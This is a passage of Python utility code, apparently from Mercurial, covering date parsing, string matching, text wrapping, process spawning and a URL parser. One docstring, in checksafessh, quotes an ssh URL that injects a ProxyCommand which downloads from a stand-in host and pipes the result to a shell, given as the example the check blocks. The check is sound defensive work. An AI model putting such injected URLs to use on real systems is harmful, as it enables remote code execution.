     if timestamp < 0:
         hint = _("check your clock")
         raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
     delta = (datetime.datetime.utcfromtimestamp(timestamp) -
              datetime.datetime.fromtimestamp(timestamp))
     tz = delta.days * 86400 + delta.seconds
     return timestamp, tz
 
 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
     """represent a (unixtime, offset) tuple as a localized time.
     unixtime is seconds since the epoch, and offset is the time zone's
     number of seconds away from UTC.
 
     >>> datestr((0, 0))
     'Thu Jan 01 00:00:00 1970 +0000'
     >>> datestr((42, 0))
     'Thu Jan 01 00:00:42 1970 +0000'
     >>> datestr((-42, 0))
     'Wed Dec 31 23:59:18 1969 +0000'
     >>> datestr((0x7fffffff, 0))
     'Tue Jan 19 03:14:07 2038 +0000'
     >>> datestr((-0x80000000, 0))
     'Fri Dec 13 20:45:52 1901 +0000'
     """
     t, tz = date or makedate()
     if "%1" in format or "%2" in format or "%z" in format:
         sign = (tz > 0) and "-" or "+"
         minutes = abs(tz) // 60
         q, r = divmod(minutes, 60)
         format = format.replace("%z", "%1%2")
         format = format.replace("%1", "%c%02d" % (sign, q))
         format = format.replace("%2", "%02d" % r)
     d = t - tz
     if d > 0x7fffffff:
         d = 0x7fffffff
     elif d < -0x80000000:
         d = -0x80000000
     # Never use time.gmtime() and datetime.datetime.fromtimestamp()
     # because they use the gmtime() system call which is buggy on Windows
     # for negative values.
     t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
     s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
     return s
 
 def shortdate(date=None):
     """turn (timestamp, tzoff) tuple into iso 8631 date."""
     return datestr(date, format='%Y-%m-%d')
 
 def parsetimezone(s):
     """find a trailing timezone, if any, in string, and return a
        (offset, remainder) pair"""
 
     if s.endswith("GMT") or s.endswith("UTC"):
         return 0, s[:-3].rstrip()
 
     # Unix-style timezones [+-]hhmm
     if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
         sign = (s[-5] == "+") and 1 or -1
         hours = int(s[-4:-2])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
 
     # ISO8601 trailing Z
     if s.endswith("Z") and s[-2:-1].isdigit():
         return 0, s[:-1]
 
     # ISO8601-style [+-]hh:mm
     if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
         s[-5:-3].isdigit() and s[-2:].isdigit()):
         sign = (s[-6] == "+") and 1 or -1
         hours = int(s[-5:-3])
         minutes = int(s[-2:])
         return -sign * (hours * 60 + minutes) * 60, s[:-6]
 
     return None, s
 
 def strdate(string, format, defaults=None):
     """parse a localized time string and return a (unixtime, offset) tuple.
     if the string cannot be parsed, ValueError is raised."""
     if defaults is None:
         defaults = {}
 
     # NOTE: unixtime = localunixtime + offset
     offset, date = parsetimezone(string)
 
     # add missing elements from defaults
     usenow = False # default to using biased defaults
     for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
         part = pycompat.bytestr(part)
         found = [True for p in part if ("%"+p) in format]
         if not found:
             date += "@" + defaults[part][usenow]
             format += "@%" + part[0]
         else:
             # We've found a specific time element, less specific time
             # elements are relative to today
             usenow = True
 
     timetuple = time.strptime(encoding.strfromlocal(date),
                               encoding.strfromlocal(format))
     localunixtime = int(calendar.timegm(timetuple))
     if offset is None:
         # local timezone
         unixtime = int(time.mktime(timetuple))
         offset = unixtime - localunixtime
     else:
         unixtime = localunixtime + offset
     return unixtime, offset
 
 def parsedate(date, formats=None, bias=None):
     """parse a localized date/time and return a (unixtime, offset) tuple.
 
     The date may be a "unixtime offset" string or in one of the specified
     formats. If the date already is a (unixtime, offset) tuple, it is returned.
 
     >>> parsedate(' today ') == parsedate(\
                                   datetime.date.today().strftime('%b %d'))
     True
     >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
                                                datetime.timedelta(days=1)\
                                               ).strftime('%b %d'))
     True
     >>> now, tz = makedate()
     >>> strnow, strtz = parsedate('now')
     >>> (strnow - now) < 1
     True
     >>> tz == strtz
     True
     """
     if bias is None:
         bias = {}
     if not date:
         return 0, 0
     if isinstance(date, tuple) and len(date) == 2:
         return date
     if not formats:
         formats = defaultdateformats
     date = date.strip()
 
     if date == 'now' or date == _('now'):
         return makedate()
     if date == 'today' or date == _('today'):
         date = datetime.date.today().strftime('%b %d')
     elif date == 'yesterday' or date == _('yesterday'):
         date = (datetime.date.today() -
                 datetime.timedelta(days=1)).strftime('%b %d')
 
     try:
         when, offset = map(int, date.split(' '))
     except ValueError:
         # fill out defaults
         now = makedate()
         defaults = {}
         for part in ("d", "mb", "yY", "HI", "M", "S"):
             # this piece is for rounding the specific end of unknowns
             b = bias.get(part)
             if b is None:
                 if part[0:1] in "HMS":
                     b = "00"
                 else:
                     b = "0"
 
             # this piece is for matching the generic end to today's date
             n = datestr(now, "%" + part[0:1])
 
             defaults[part] = (b, n)
 
         for format in formats:
             try:
                 when, offset = strdate(date, format, defaults)
             except (ValueError, OverflowError):
                 pass
             else:
                 break
         else:
             raise error.ParseError(_('invalid date: %r') % date)
     # validate explicit (probably user-specified) date and
     # time zone offset. values must fit in signed 32 bits for
     # current 32-bit linux runtimes. timezones go from UTC-12
     # to UTC+14
     if when < -0x80000000 or when > 0x7fffffff:
         raise error.ParseError(_('date exceeds 32 bits: %d') % when)
     if offset < -50400 or offset > 43200:
         raise error.ParseError(_('impossible time zone offset: %d') % offset)
     return when, offset
 
 def matchdate(date):
     """Return a function that matches a given date match specifier
 
     Formats include:
 
     '{date}' match a given date to the accuracy provided
 
     '<{date}' on or before a given date
 
     '>{date}' on or after a given date
 
     >>> p1 = parsedate("10:29:59")
     >>> p2 = parsedate("10:30:00")
     >>> p3 = parsedate("10:30:59")
     >>> p4 = parsedate("10:31:00")
     >>> p5 = parsedate("Sep 15 10:30:00 1999")
     >>> f = matchdate("10:30")
     >>> f(p1[0])
     False
     >>> f(p2[0])
     True
     >>> f(p3[0])
     True
     >>> f(p4[0])
     False
     >>> f(p5[0])
     False
     """
 
     def lower(date):
         d = {'mb': "1", 'd': "1"}
         return parsedate(date, extendeddateformats, d)[0]
 
     def upper(date):
         d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
         for days in ("31", "30", "29"):
             try:
                 d["d"] = days
                 return parsedate(date, extendeddateformats, d)[0]
             except Abort:
                 pass
         d["d"] = "28"
         return parsedate(date, extendeddateformats, d)[0]
 
     date = date.strip()
 
     if not date:
         raise Abort(_("dates cannot consist entirely of whitespace"))
     elif date[0] == "<":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '<DATE'"))
         when = upper(date[1:])
         return lambda x: x <= when
     elif date[0] == ">":
         if not date[1:]:
             raise Abort(_("invalid day spec, use '>DATE'"))
         when = lower(date[1:])
         return lambda x: x >= when
     elif date[0] == "-":
         try:
             days = int(date[1:])
         except ValueError:
             raise Abort(_("invalid day spec: %s") % date[1:])
         if days < 0:
             raise Abort(_("%s must be nonnegative (see 'hg help dates')")
                 % date[1:])
         when = makedate()[0] - days * 3600 * 24
         return lambda x: x >= when
     elif " to " in date:
         a, b = date.split(" to ")
         start, stop = lower(a), upper(b)
         return lambda x: x >= start and x <= stop
     else:
         start, stop = lower(date), upper(date)
         return lambda x: x >= start and x <= stop
 
 def stringmatcher(pattern, casesensitive=True):
     """
     accepts a string, possibly starting with 're:' or 'literal:' prefix.
     returns the matcher name, pattern, and matcher function.
     missing or unknown prefixes are treated as literal matches.
 
     helper for tests:
     >>> def test(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
     >>> def itest(pattern, *tests):
     ...     kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
     ...     return (kind, pattern, [bool(matcher(t)) for t in tests])
 
     exact matching (no prefix):
     >>> test('abcdefg', 'abc', 'def', 'abcdefg')
     ('literal', 'abcdefg', [False, False, True])
 
     regex matching ('re:' prefix)
     >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
     ('re', 'a.+b', [False, False, True])
 
     force exact matches ('literal:' prefix)
     >>> test('literal:re:foobar', 'foobar', 're:foobar')
     ('literal', 're:foobar', [False, True])
 
     unknown prefixes are ignored and treated as literals
     >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
     ('literal', 'foo:bar', [False, False, True])
 
     case insensitive regex matches
     >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
     ('re', 'A.+b', [False, False, True])
 
     case insensitive literal matches
     >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
     ('literal', 'ABCDEFG', [False, False, True])
     """
     if pattern.startswith('re:'):
         pattern = pattern[3:]
         try:
             flags = 0
             if not casesensitive:
                 flags = remod.I
             regex = remod.compile(pattern, flags)
         except remod.error as e:
             raise error.ParseError(_('invalid regular expression: %s')
                                    % e)
         return 're', pattern, regex.search
     elif pattern.startswith('literal:'):
         pattern = pattern[8:]
 
     match = pattern.__eq__
 
     if not casesensitive:
         ipat = encoding.lower(pattern)
         match = lambda s: ipat == encoding.lower(s)
     return 'literal', pattern, match
 
 def shortuser(user):
     """Return a short representation of a user name or email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     f = user.find(' ')
     if f >= 0:
         user = user[:f]
     f = user.find('.')
     if f >= 0:
         user = user[:f]
     return user
 
 def emailuser(user):
     """Return the user portion of an email address."""
     f = user.find('@')
     if f >= 0:
         user = user[:f]
     f = user.find('<')
     if f >= 0:
         user = user[f + 1:]
     return user
 
 def email(author):
     '''get email of author.'''
     r = author.find('>')
     if r == -1:
         r = None
     return author[author.find('<') + 1:r]
 
 def ellipsis(text, maxlength=400):
     """Trim string to at most maxlength (default: 400) columns in display."""
     return encoding.trim(text, maxlength, ellipsis='...')
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_("line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_("fromline must be strictly positive"))
     return fromline - 1, toline
 
 bytecount = unitcountfn(
     (100, 1 << 30, _('%.0f GB')),
     (10, 1 << 30, _('%.1f GB')),
     (1, 1 << 30, _('%.2f GB')),
     (100, 1 << 20, _('%.0f MB')),
     (10, 1 << 20, _('%.1f MB')),
     (1, 1 << 20, _('%.2f MB')),
     (100, 1 << 10, _('%.0f KB')),
     (10, 1 << 10, _('%.1f KB')),
     (1, 1 << 10, _('%.2f KB')),
     (1, 1, _('%.0f bytes')),
     )
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 def tolf(s):
     return _eolre.sub('\n', s)
 
 def tocrlf(s):
     return _eolre.sub('\r\n', s)
 
 if pycompat.oslinesep == '\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
 
 def escapestr(s):
     # call underlying function of s.encode('string_escape') directly for
     # Python 3 compatibility
     return codecs.escape_encode(s)[0]
 
 def unescapestr(s):
     return codecs.escape_decode(s)[0]
 
 def forcebytestr(obj):
     """Portably format an arbitrary object (e.g. exception) into a byte
     string."""
     try:
         return pycompat.bytestr(obj)
     except UnicodeEncodeError:
         # non-ascii string, may be lossy
         return pycompat.bytestr(encoding.strtolocal(str(obj)))
 
 def uirepr(s):
     # Avoid double backslash in Windows path repr()
     return repr(s).replace('\\\\', '\\')
 
 # delay import of textwrap
 def MBTextWrapper(**kwargs):
     class tw(textwrap.TextWrapper):
         """
         Extend TextWrapper for width-awareness.
 
         Neither number of 'bytes' in any encoding nor 'characters' is
         appropriate to calculate terminal columns for specified string.
 
         Original TextWrapper implementation uses built-in 'len()' directly,
         so overriding is needed to use width information of each characters.
 
         In addition, characters classified into 'ambiguous' width are
         treated as wide in East Asian area, but as narrow in other.
 
         This requires use decision to determine width of such characters.
         """
         def _cutdown(self, ucstr, space_left):
             l = 0
             colwidth = encoding.ucolwidth
             for i in xrange(len(ucstr)):
                 l += colwidth(ucstr[i])
                 if space_left < l:
                     return (ucstr[:i], ucstr[i:])
             return ucstr, ''
 
         # overriding of base class
         def _handle_long_word(self, reversed_chunks, cur_line, cur_len, width):
             space_left = max(width - cur_len, 1)
 
             if self.break_long_words:
                 cut, res = self._cutdown(reversed_chunks[-1], space_left)
                 cur_line.append(cut)
                 reversed_chunks[-1] = res
             elif not cur_line:
                 cur_line.append(reversed_chunks.pop())
 
         # this overriding code is imported from TextWrapper of Python 2.6
         # to calculate columns of string by 'encoding.ucolwidth()'
         def _wrap_chunks(self, chunks):
             colwidth = encoding.ucolwidth
 
             lines = []
             if self.width <= 0:
                 raise ValueError("invalid width %r (must be > 0)" % self.width)
 
             # Arrange in reverse order so items can be efficiently popped
             # from a stack of chucks.
             chunks.reverse()
 
             while chunks:
 
                 # Start the list of chunks that will make up the current line.
                 # cur_len is just the length of all the chunks in cur_line.
                 cur_line = []
                 cur_len = 0
 
                 # Figure out which static string will prefix this line.
                 if lines:
                     indent = self.subsequent_indent
                 else:
                     indent = self.initial_indent
 
                 # Maximum width for this line.
                 width = self.width - len(indent)
 
                 # First chunk on line is whitespace -- drop it, unless this
                 # is the very beginning of the text (i.e. no lines started yet).
                 if self.drop_whitespace and chunks[-1].strip() == r'' and lines:
                     del chunks[-1]
 
                 while chunks:
                     l = colwidth(chunks[-1])
 
                     # Can at least squeeze this chunk onto the current line.
                     if cur_len + l <= width:
                         cur_line.append(chunks.pop())
                         cur_len += l
 
                     # Nope, this line is full.
                     else:
                         break
 
                 # The current line is full, and the next chunk is too big to
                 # fit on *any* line (not just this one).
                 if chunks and colwidth(chunks[-1]) > width:
                     self._handle_long_word(chunks, cur_line, cur_len, width)
 
                 # If the last chunk on this line is all whitespace, drop it.
                 if (self.drop_whitespace and
                     cur_line and cur_line[-1].strip() == r''):
                     del cur_line[-1]
 
                 # Convert current line back to a string and store it in list
                 # of all lines (return value).
                 if cur_line:
                     lines.append(indent + r''.join(cur_line))
 
             return lines
 
     global MBTextWrapper
     MBTextWrapper = tw
     return tw(**kwargs)
 
 def wrap(line, width, initindent='', hangindent=''):
     maxindent = max(len(hangindent), len(initindent))
     if width <= maxindent:
         # adjust for weird terminal size
         width = max(78, maxindent + 1)
     line = line.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     initindent = initindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     hangindent = hangindent.decode(pycompat.sysstr(encoding.encoding),
                     pycompat.sysstr(encoding.encodingmode))
     wrapper = MBTextWrapper(width=width,
                             initial_indent=initindent,
                             subsequent_indent=hangindent)
     return wrapper.fill(line).encode(pycompat.sysstr(encoding.encoding))
 
 if (pyplatform.python_implementation() == 'CPython' and
     sys.version_info < (3, 0)):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, '')
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = ''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if '\n' in buf:
                     splitted = line.splitlines(True)
                     line = ''
                     for l in splitted:
                         if l[-1] == '\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 def hgcmd():
     """Return the command used to execute current hg
 
     This is different from hgexecutable() because on Windows we want
     to avoid things opening new shell windows like batch files, so we
     get either the python call or current executable.
     """
     if mainfrozen():
         if getattr(sys, 'frozen', None) == 'macosx_app':
             # Env variable set by py2app
             return [encoding.environ['EXECUTABLEPATH']]
         else:
             return [pycompat.sysexecutable]
     return gethgcmd()
 
 def rundetached(args, condfn):
     """Execute the argument list in a detached process.
 
     condfn is a callable which is called repeatedly and should return
     True once the child process is known to have started successfully.
     At this point, the child process PID is returned. If the child
     process fails to start or finishes before condfn() evaluates to
     True, return -1.
     """
     # Windows case is easier because the child process is either
     # successfully starting and validating the condition or exiting
     # on failure. We just poll on its PID. On Unix, if the child
     # process fails to start, it will be left in a zombie state until
     # the parent wait on it, which we cannot do since we expect a long
     # running process on success. Instead we listen for SIGCHLD telling
     # us our child process terminated.
     terminated = set()
     def handler(signum, frame):
         terminated.add(os.wait())
     prevhandler = None
     SIGCHLD = getattr(signal, 'SIGCHLD', None)
     if SIGCHLD is not None:
         prevhandler = signal.signal(SIGCHLD, handler)
     try:
         pid = spawndetached(args)
         while not condfn():
             if ((pid in terminated or not testpid(pid))
                 and not condfn()):
                 return -1
             time.sleep(0.1)
         return pid
     finally:
         if prevhandler is not None:
             signal.signal(signal.SIGCHLD, prevhandler)
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = '|'.join(mapping.keys())
     if escape_prefix:
         patterns += '|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(r'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(port)
     except socket.error:
         raise Abort(_("no port number associated with service '%s'") % port)
 
 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
              '0': False, 'no': False, 'false': False, 'off': False,
              'never': False}
 
 def parsebool(s):
     """Parse s into a boolean.
 
     If s is not a valid boolean, returns None.
     """
     return _booleans.get(s.lower(), None)
 
 _hextochr = dict((a + b, chr(int(a + b, 16)))
                  for a in string.hexdigits for b in string.hexdigits)
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url('http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url('ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url('file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url('file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url('bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url('bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(r'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(r'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(r'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(r'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url('ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url('ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url('http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url('http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url('')
     <url path: ''>
     >>> url('#a')
     <url path: '', fragment: 'a'>
     >>> url('http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url('http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url('http:')
     <url scheme: 'http'>
     """
 
     _safechars = "!~*'()+"
     _safepchars = "/!~*'()+:\\"
     _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = ''
         self._origpath = path
 
         if parsefragment and '#' in path:
             path, self.fragment = path.split('#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith('\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith('bundle:'):
             self.scheme = 'bundle'
             path = path[7:]
             if path.startswith('//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = ''
                 return
         else:
             if self._localpath:
                 self.path = path
                 return
 
             if parsequery and '?' in path:
                 path, self.query = path.split('?', 1)
                 if not path:
                     path = None
                 if not self.query:
                     self.query = None
 
             # // is required to specify a host/authority
             if path and path.startswith('//'):
                 parts = path[2:].split('/', 1)
                 if len(parts) > 1:
                     self.host, path = parts
                 else:
                     self.host = parts[0]
                     path = None
                 if not self.host:
                     self.host = None
                     # path of file:///d is /d
                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = '/' + path
 
             if self.host and '@' in self.host:
                 self.user, self.host = self.host.rsplit('@', 1)
                 if ':' in self.user:
                     self.user, self.passwd = self.user.split(':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (self.host and ':' in self.host and
                 not (self.host.startswith('[') and self.host.endswith(']'))):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(':', 1)
                 if not self.host:
                     self.host = None
 
             if (self.host and self.scheme == 'file' and
                 self.host not in ('localhost', '127.0.0.1', '[::1]')):
                 raise Abort(_('file:// URLs can only refer to localhost'))
 
         self.path = path
 
         # leave the query string escaped
         for a in ('user', 'passwd', 'host', 'port',
                   'path', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     def __repr__(self):
         attrs = []
         for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
                   'query', 'fragment'):
             v = getattr(self, a)
             if v is not None:
                 attrs.append('%s: %r' % (a, v))
         return '<url %s>' % ', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> str(url('http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> str(url('http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> str(url('http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> str(url('ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> str(url('http://localhost:80//'))
         'http://localhost:80//'
         >>> str(url('http://localhost:80/'))
         'http://localhost:80/'
         >>> str(url('http://localhost:80'))
         'http://localhost:80/'
         >>> str(url('bundle:foo'))
         'bundle:foo'
         >>> str(url('bundle://../foo'))
         'bundle:../foo'
         >>> str(url('path'))
         'path'
         >>> str(url('file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> str(url('file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print url(r'bundle:foo\bar')
         bundle:foo\bar
         >>> print url(r'file:///D:\data\hg')
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == 'bundle':
                 s = 'bundle:' + s
             if self.fragment:
                 s += '#' + self.fragment
             return s
 
         s = self.scheme + ':'
         if self.user or self.passwd or self.host:
             s += '//'
         elif self.scheme and (not self.path or self.path.startswith('/')
                               or hasdriveletter(self.path)):
             s += '//'
             if hasdriveletter(self.path):
                 s += '/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += '@'
         if self.host:
             if not (self.host.startswith('[') and self.host.endswith(']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += ':' + urlreq.quote(self.port)
         if self.host:
             s += '/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += '?' + self.query
         if self.fragment is not None:
             s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host),
                     self.user, self.passwd or ''))
 
     def isabs(self):
         if self.scheme and self.scheme != 'file':
             return True # remote URL
         if hasdriveletter(self.path):
             return True # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True # Windows UNC path
         if self.path.startswith('/'):
             return True # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == 'file' or self.scheme == 'bundle':
             path = self.path or '/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + '/' + self.path
             elif (self.host is not None and self.path
                   and not hasdriveletter(path)):
                 path = '/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (not self.scheme or self.scheme == 'file'
                 or self.scheme == 'bundle')
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 def hasdriveletter(path):
     return path and path[1:2] == ':' and path[0:1].isalpha()
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
         raise error.Abort(_('potentially unsafe url: %r') %
                           (path,))
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = '***'
     return bytes(u)
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
